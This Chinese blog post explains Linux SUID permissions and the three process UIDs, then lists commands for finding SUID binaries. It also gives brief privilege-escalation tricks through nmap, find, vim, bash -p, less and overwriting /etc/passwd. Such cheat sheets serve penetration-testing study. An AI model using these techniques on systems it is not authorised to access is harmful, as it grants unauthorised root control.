SUID提权总结

SUID提权

SUID

通常情况下,Linux下执行程序时,所采取的权限为当前用户的权限

SUID即Set owner User ID up on execution, 允许当前用户以文件所有者的权限来执行文件

例如常用的ping命令,在非管理员用户下也能够进行正常执行,起原因是ping命令所对应的可执行文件设置了suid权限,使得普通用户在运行ping的执行文件时,也拥有了部分管理员权限

Linux在运行一个程序时,进程会有三个UID:

  • Real UID 执行该进程的用户实际的UID
  • Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
  • Saved UID 在高权限用户降权后,保留的其原本UID

当设置了SUID的程序在运行时,Effective UID改变成此程序的所有者,比如/bin/ping对应的所有者为Root(0),那么普通用户在执行ping指令时,Effective UID也会被设置为0,因此可以认为普通用户在执行该程序时也具有了root权限

查找具有SUID权限的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

常见提权

nmap

nmap在进行UDP(-sU)和TCP(-sS)扫描时,会用到Raw Socket。需要有root权限,因此具有suid权限使得普通用户也能利用nmap

interactive交互模式提权

利用版本:2.02-5.21

运行指令:

nmap --interactive

进入交互模式,在交互模式中获得root

Find

find以suid权限运行,所有通过find执行的命令都为root

find xxx -exec whoami ;

image-20240407122956856

Vi/Vim

vim.tiny
Press ESC key
:set shell=/bin/sh
:shell

bash

bash -p
id

less/more

less /etc/passwd
!/bin/sh

image-20240407124034297

得到

image-20240407124108067

exit退出

python/perl/ruby/lua/php/etc

image-20240407124340224

cp覆盖/etc/passwd或/etc/passwd

例如我在自己的kali中,将kali用户修改为如图

image-20240407124649543

重启便获得root权限

使用时不用再

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇